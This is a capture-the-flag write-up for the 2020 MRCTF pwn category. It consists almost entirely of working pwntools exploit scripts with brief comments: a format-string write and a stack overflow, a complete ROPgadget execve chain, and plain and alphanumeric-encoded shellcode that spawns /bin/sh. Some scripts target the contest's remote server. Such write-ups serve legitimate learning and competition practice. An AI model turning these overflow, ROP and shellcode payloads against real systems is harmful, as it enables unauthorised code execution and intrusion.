2020 MRCTF pwn


If you don’t go into the water, you can’t swim in your life

文中所用到的程序文件:bin file

easy_equation

    from pwn import *
    context.arch = 'amd64'
    # from z3 import *

    # judge=Real('judge')
    # solve(11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198)
    #[judge = 2]

    p = process('./easy_equation')
    def overflow():
        sys_addr = 0x00000000004006D0
        p.send('A'*9+p64(sys_addr))
        p.interactive()


    def strfmt():
        judge = 0x000000000060105C
        offset = 9
        # payload = "b%511c%10$hn"+"a"*5+p64(judge-1)
        # rewrite judge-1 to 0x200,store in little-endian,
        # so judge was change to 0x02
        payload = "aa%10$naa" + 'a'*8 + p64(judge)
        # rewrite a number which lower than 8(see in ctf-wiki)
        # notice,wether the way we use strfmt to write,
        # there is one thing need to be attention:
        # we need make the judge locate at the 10th arguement of printf(debug could find the matter)
        p.sendline(payload)
        p.interactive()
    strfmt()
    # overflow()

easy_overflow

from pwn import *
context.arch = 'amd64'

# just overwrite the value of function's argument to pass the check
# p = process('./easy_overflow')
p = remote('38.39.244.2',28021)

payload = 'A'*(0x70-0x40) + 'n0t_r3@11y_f1@g'
p.sendline(payload)
p.interactive()

noting_but_everything

from pwn import *
context.arch = 'amd64'
from struct import pack

# the program compile statically, and make symbol strip,
# but we could get function main by entry function start,
# then we kown the offset which could make stack overflow,
# because of it's compiled statically,we just use the ROPgadget to get rop chain and get shell

p = ''
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004494ac) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000449505) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040123c) # syscall

io = process('./pwn')
payload = 'A'*(0x70+8) + p
io.send('b') # pass the first read
io.send(payload)
io.interactive()
# ROPgadget --binary ./pwn --ropchain

# ROP chain generation
# ===========================================================

# - Step 1 -- Write-what-where gadgets

#   [+] Gadget found: 0x47f261 mov qword ptr [rsi], rax ; ret
#   [+] Gadget found: 0x4100d3 pop rsi ; ret
#   [+] Gadget found: 0x4494ac pop rax ; ret
#   [+] Gadget found: 0x444840 xor rax, rax ; ret

# - Step 2 -- Init syscall number gadgets

#   [+] Gadget found: 0x444840 xor rax, rax ; ret
#   [+] Gadget found: 0x4746b0 add rax, 1 ; ret
#   [+] Gadget found: 0x4746b1 add eax, 1 ; ret

# - Step 3 -- Init syscall arguments gadgets

#   [+] Gadget found: 0x400686 pop rdi ; ret
#   [+] Gadget found: 0x4100d3 pop rsi ; ret
#   [+] Gadget found: 0x449505 pop rdx ; ret

# - Step 4 -- Syscall gadget

#   [+] Gadget found: 0x40123c syscall

# - Step 5 -- Build the ROP chain

#   #!/usr/bin/env python2
#   # execve generated by ROPgadget

#   from struct import pack

#   # Padding goes here
#   p = ''
#   ......
#   p += pack('<Q', 0x000000000040123c) # syscall

shellcode

from pwn import *
context.arch = 'amd64'

# just shellcode
# p = process('./shellcode')
p = remote('38.39.244.2',28027)

p.recvuntil("Show me your magic!")
p.send(asm(shellcraft.sh()))
p.interactive()

shellcode-revenge

from pwn import *

# the ida could not convert asm code to fake c code,
# but we just need to patch the 'call rax' and change it to 'nop',
# we could get the fake c code,
# program is easy,just call our input,
# but input is limited to numbers and letters,
# so we need encode the shellcode to get shell


# context.log_level = 'debug'
context.arch='amd64'

p=process('./shellcode-revenge')
# p = remote('38.39.244.2',28065)
p.recvuntil('Show me your magic!')

def way1():
    shellcode = 'jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c'
    # shellcode += (0x400-len(shellcode))*"QY"
    shellcode += (0x400-len(shellcode))*'RZ'
    p.send(shellcode)
    # p.send('jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c')
    # the shellcode will change the stack structure,
    # so we need to padding something to insure the stack balance,
    # otherwise,program the ragin shellcode will execve our padding,
    # so we need to padding somthing executable

    p.interactive()

    # [stack]:00007FFD00D68D90 push    5Ah
    # [stack]:00007FFD00D68D92 push    rsp
    # [stack]:00007FFD00D68D93 pop     rcx
    # [stack]:00007FFD00D68D94 pop     rax
    # [stack]:00007FFD00D68D95 xor     al, 55h
    # [stack]:00007FFD00D68D97 push    rax
    # [stack]:00007FFD00D68D98 pop     rax
    # [stack]:00007FFD00D68D99 imul    edi, [rcx], 41h
    # [stack]:00007FFD00D68D9C movsxd  rsi, dword ptr [rcx+rdi]
    # [stack]:00007FFD00D68DA0 xor     [rcx+rdi], esi
    # [stack]:00007FFD00D68DA3 push    3030474Ah
    # [stack]:00007FFD00D68DA8 pop     rax
    # [stack]:00007FFD00D68DA9 xor     eax, 30304245h
    # [stack]:00007FFD00D68DAE push    rax
    # [stack]:00007FFD00D68DAF pop     rax
    # [stack]:00007FFD00D68DAF ; ---------------------------------------------------------------------------
    # [stack]:00007FFD00D68DB0 db  2Fh ; /
    # [stack]:00007FFD00D68DB1 db  62h ; b
    # [stack]:00007FFD00D68DB2 db  69h ; i
    # [stack]:00007FFD00D68DB3 db  6Eh ; n
    # [stack]:00007FFD00D68DB4 db  2Fh ; /
    # [stack]:00007FFD00D68DB5 db  73h ; s
    # [stack]:00007FFD00D68DB6 db  68h ; h
    # [stack]:00007FFD00D68DB7 db    0
    # [stack]:00007FFD00D68DB8 db  71h ; q
    # [stack]:00007FFD00D68DB9 db  30h ; 0
    # [stack]:00007FFD00D68DBA db  31h ; 1
    # [stack]:00007FFD00D68DBB db  71h ; q
    # [stack]:00007FFD00D68DBC db  30h ; 0
    # [stack]:00007FFD00D68DBD db  48h ; H
    # [stack]:00007FFD00D68DBE db  63h ; c
    # [stack]:00007FFD00D68DBF db  71h ; q
    # [stack]:00007FFD00D68DC0 db  34h ; 4
    # [stack]:00007FFD00D68DC1 ; ---------------------------------------------------------------------------
    # [stack]:00007FFD00D68DC1 xor     [rcx+34h], esi
    # [stack]:00007FFD00D68DC4 movsxd  rdi, dword ptr [rcx+30h]
    # [stack]:00007FFD00D68DC8 movsxd  rsi, dword ptr [rcx+30h]
    # [stack]:00007FFD00D68DCC push    rdi
    # [stack]:00007FFD00D68DCD pop     rdx
    # [stack]:00007FFD00D68DCE push    5A58555Ah
    # [stack]:00007FFD00D68DD3 pop     rax
    # [stack]:00007FFD00D68DD4 xor     eax, 34313775h
    # [stack]:00007FFD00D68DD9 xor     [rcx+30h], eax
    # [stack]:00007FFD00D68DDC push    6A51475Ah
    # [stack]:00007FFD00D68DE1 pop     rax
    # [stack]:00007FFD00D68DE2 xor     eax, 6A393475h
    # [stack]:00007FFD00D68DE7 xor     [rcx+34h], eax
    # [stack]:00007FFD00D68DEA xor     rdi, [rcx+30h]
    # [stack]:00007FFD00D68DEE pop     rax
    # [stack]:00007FFD00D68DEF push    rdi
    # [stack]:00007FFD00D68DF0 push    58h
    # [stack]:00007FFD00D68DF2 movsxd  rdi, dword ptr [rcx]
    # [stack]:00007FFD00D68DF5 xor     rdi, [rcx]
    # [stack]:00007FFD00D68DF8 pop     rax
    # [stack]:00007FFD00D68DF9 push    rsp
    # [stack]:00007FFD00D68DFA xor     rdi, [rcx]
    # [stack]:00007FFD00D68DFD xor     al, 63h
    # [stack]:00007FFD00D68DFF push    rcx
    # [stack]:00007FFD00D68E00 pop     rcx
    # ......
    # [stack]:00007FFD00D6914D push    rcx
    # [stack]:00007FFD00D6914E pop     rcx
    # [stack]:00007FFD00D6914F syscall
    #
    # in order to execute the syscall, we need padding sonthong wich ragin shellcode will execute and we need make stack banlance,
    # so just pading QY(push rcx;pop rcx)
    #
    # >>> asm('push rdx;pop rdx')
    # 'RZ'
    # >>> asm('push rcx;pop rcx')
    # 'QY'

# or we can change a shellcode which only contains numbers and letters too
def way2():
    shellcode =     "PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA"
    p.send(shellcode)
    sleep(0.1) # make sure we can get shell
    p.interactive()

# way1()
way2()

# we could not use the shellcode which pwntools offered encode by AE64,
# when we debug it,we can find that the encoded shellcode could not set the rax to currect value to call syscall